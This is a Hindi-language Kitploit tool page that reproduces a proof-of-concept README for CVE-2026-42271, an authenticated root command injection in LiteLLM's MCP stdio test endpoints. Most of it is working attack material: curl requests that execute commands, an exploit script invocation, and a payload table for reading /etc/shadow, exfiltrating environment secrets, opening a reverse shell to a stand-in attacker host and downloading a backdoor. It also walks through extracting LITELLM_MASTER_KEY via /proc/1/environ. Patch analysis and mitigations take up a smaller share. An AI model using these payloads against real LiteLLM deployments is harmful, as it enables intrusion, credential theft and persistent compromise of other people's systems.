Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-42271-PoC — संबंधित भेद्यता को व्यक्तिगत रूप से पुनरुत्पादित करने के लिए कोड | Kitploit
उपकरण/GitHubGitHub/learner202649/cve-2026-42271-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोललर्निंग और शिक्षारेड टीमिंगलैब और अभ्यास
GitHublearner202649/cve-2026-42271-poc

CVE-2026-42271-PoC

संबंधित भेद्यता को व्यक्तिगत रूप से पुनरुत्पादित करने के लिए कोड

रिपॉजिटरी देखें
133 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-42271 — MCP stdio परीक्षण एंडपॉइंट के माध्यम से LiteLLM प्रमाणित कमांड इंजेक्शन

LiteLLM POST /mcp-rest/test/connection और POST /mcp-rest/test/tools/list — MCP stdio transport के माध्यम से प्रमाणित कमांड इंजेक्शन। कोई भी मान्य API कुंजी (डिफ़ॉल्ट Docker डिप्लॉयमेंट में) root के रूप में मनमाने OS कमांड निष्पादित कर सकती है।

इमेज digest के माध्यम से पिन की गई है: vulnerable कंटेनर LiteLLM v1.82.6 पर पिन किया गया है, जिससे दीर्घकालिक पुनरुत्पादन सुनिश्चित होता है।

फ़ील्डमान
CVECVE-2026-42271
CVSS v4.08.7 (HIGH) — CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N
CVSS v3.18.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-77 / CWE-78 (OS कमांड इंजेक्शन)
प्रभावितLiteLLM >= 1.74.2, < 1.83.7
फिक्सv1.83.7+ (कमांड व्हाइटलिस्ट + PROXY_ADMIN भूमिका जाँच जोड़ी गई)
प्रकाशित2026-05-08
पिन किया गया संस्करणv1.82.6 — इमेज digest द्वारा पिन की गई है, दीर्घकालिक पुनरुत्पादन सुनिश्चित करने के लिए
लिंकGHSA-v4p8-mg3p-g94g • NVD • GitLab सलाहकार

विवरण

सहेजने से पहले MCP सर्वर का पूर्वावलोकन करने के लिए उपयोग किए जाने वाले दो एंडपॉइंट — POST /mcp-rest/test/connection और POST /mcp-rest/test/tools/list — अनुरोध बॉडी में पूर्ण MCP सर्वर कॉन्फ़िगरेशन स्वीकार करते हैं, जिसमें stdio transport द्वारा उपयोग किए जाने वाले command, args, और env फ़ील्ड शामिल हैं।

stdio कॉन्फ़िगरेशन के साथ कॉल किए जाने पर, एंडपॉइंट प्रदान किए गए कमांड को प्रॉक्सी होस्ट पर प्रॉक्सी प्रक्रिया के विशेषाधिकारों (डिफ़ॉल्ट Docker में root) के साथ एक सबप्रोसेस के रूप में स्पॉन करते हैं।

मुख्य समस्या: एंडपॉइंट केवल एक मान्य प्रॉक्सी API कुंजी की जाँच करते हैं, कोई भूमिका जाँच नहीं — यहाँ तक कि निम्न-विशेषाधिकार वाली internal_user कुंजियाँ भी इसका दुरुपयोग कर सकती हैं।


प्रूफ ऑफ कॉन्सेप्ट

त्वरित आरंभ (Docker)

root@kitploit:~
# 1. Start a vulnerable LiteLLM instance (pinned to v1.82.6)
docker compose up -d

# 2. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" --cmd "id"

# Or use curl directly (blind RCE — response may show error but command executes)
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/mcp-rest/test/tools/list \
  -d '{
    "transport": "stdio",
    "command": "bash",
    "args": ["-c", "id > /tmp/pwned"]
  }'

निष्पादन की पुष्टि करें

root@kitploit:~
# Check that the command executed inside the container
docker exec litellm-cve cat /tmp/pwned
# Output: uid=0(root) gid=0(root) groups=0(root),0(root),...

API "Failed to connect to MCP server" लौटाता है क्योंकि स्पॉन की गई प्रक्रिया MCP प्रोटोकॉल नहीं बोलती — लेकिन कमांड पहले ही root विशेषाधिकारों के साथ निष्पादित हो चुका होता है।


हमले के परिदृश्य

परिदृश्यPayload
बेसिक RCE"args": ["-c", "id > /tmp/pwned"]
फ़ाइलें पढ़ें"args": ["-c", "cat /etc/shadow > /tmp/out"]
env एक्सफ़िलट्रेट करें`"args": ["-c", "cat /proc/1/environ
रिवर्स शेल"args": ["-c", "bash -i >& /dev/tcp/attacker/4444 0>&1"]
पर्सिस्टेंस"args": ["-c", "curl http://attacker/malware -o /tmp/backdoor && chmod +x /tmp/backdoor"]

संवेदनशील एंडपॉइंट

POST /mcp-rest/test/connection

MCP सर्वर कनेक्शन का परीक्षण करता है। stdio transport के साथ, प्रदान किए गए कमांड को स्पॉन करता है।

POST /mcp-rest/test/tools/list

परीक्षण MCP सर्वर से टूल सूचीबद्ध करता है। समान व्यवहार — stdio transport का उपयोग करने पर प्रदान किए गए कमांड को स्पॉन करता है।

अनुरोध बॉडी प्रारूप

root@kitploit:~
{
  "transport": "stdio",
  "command": "bash",
  "args": ["-c", "<malicious command>"],
  "env": {
    "PATH": "/usr/bin:/bin"
  }
}
फ़ील्डप्रकारआवश्यकविवरण
transportstringहाँकमांड इंजेक्शन के लिए "stdio" होना चाहिए
commandstringहाँस्पॉन करने के लिए एक्ज़ीक्यूटेबल (जैसे, bash, python, curl)
argsarrayहाँकमांड को पास किए गए तर्क
envobjectनहींसबप्रोसेस के लिए पर्यावरण चर

पैच विश्लेषण (v1.83.7)

फिक्स ने सुरक्षा की दो परतें जोड़ीं:

  1. कमांड व्हाइटलिस्ट validate_transport_fields() के माध्यम से — केवल ये अनुमत: npx, uvx, python, python3, node, docker, deno
  2. भूमिका-आधारित अभिगम नियंत्रण — दोनों एंडपॉइंट अब PROXY_ADMIN भूमिका की आवश्यकता रखते हैं

रिपॉज़िटरी संरचना

root@kitploit:~
CVE-2026-42271/
├── README.md                  # This file
├── docker-compose.yml         # One-command vulnerable environment (pinned to v1.82.6)
├── requirements.txt           # Dependencies
├── exploit/
│   ├── exploit.py             # Full exploit script
│   └── payload.py             # Payload generation module
├── docs/
│   └── advisory.md            # Advisory reference
└── screenshots/               # Proof screenshots

शमन के उपाय

  1. अपग्रेड करें LiteLLM v1.83.7+ (कमांड व्हाइटलिस्ट + PROXY_ADMIN भूमिका जाँच)
  2. रिवर्स प्रॉक्सी पर /mcp-rest/test/connection और /mcp-rest/test/tools/list को ब्लॉक करें
  3. API कुंजी विशेषाधिकारों को प्रतिबंधित करें — समझौते का संदेह होने पर कुंजियाँ घुमाएँ
  4. Docker में non-root के रूप में चलाएँ: docker run --user 1000:1000 ...

⚠️ ध्यान दें: MCP SDK पर्यावरण चर अलगाव

5.7 अनुभाग (प्रक्रिया पर्यावरण चर निकालना) को दोहराते समय ध्यान दें: MCP Python SDK v1.25.0+ stdio सबप्रोसेस बनाते समय LiteLLM पैरेंट प्रक्रिया के पर्यावरण चरों को इनहेरिट नहीं करता। SDK get_default_environment() के माध्यम से केवल HOME और PATH पास करता है, फिर उपयोगकर्ता द्वारा स्पष्ट रूप से निर्दिष्ट env फ़ील्ड को मर्ज करता है।

इसलिए env > /tmp/env_dump LITELLM_MASTER_KEY कैप्चर नहीं कर सकता।

सही तरीका: LiteLLM मुख्य प्रक्रिया का /proc/1/environ पढ़कर पर्यावरण चर निकालें:

root@kitploit:~
# 提取环境变量(通过 /proc/1/environ)
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/mcp-rest/test/tools/list \
  -d '{
    "transport": "stdio",
    "command": "bash",
    "args": ["-c", "cat /proc/1/environ | tr \"\\0\" \"\\n\" > /tmp/env_dump"]
  }'

# 查看结果
docker exec litellm-cve cat /tmp/env_dump | grep -E "LITELLM|MASTER"
# 输出: LITELLM_MASTER_KEY=sk-litellm-master-key

विवरण के लिए पुनरुत्पादन रिपोर्ट का अनुभाग 5.7 देखें।


संदर्भ

  • GitHub सुरक्षा सलाहकार GHSA-v4p8-mg3p-g94g
  • GitLab सलाहकार
  • NVD विवरण
  • v1.83.7-stable रिलीज़
  • LiteLLM MCP दस्तावेज़ीकरण

अस्वीकरण: यह सामग्री केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान की गई है।

टूल डाउनलोड करें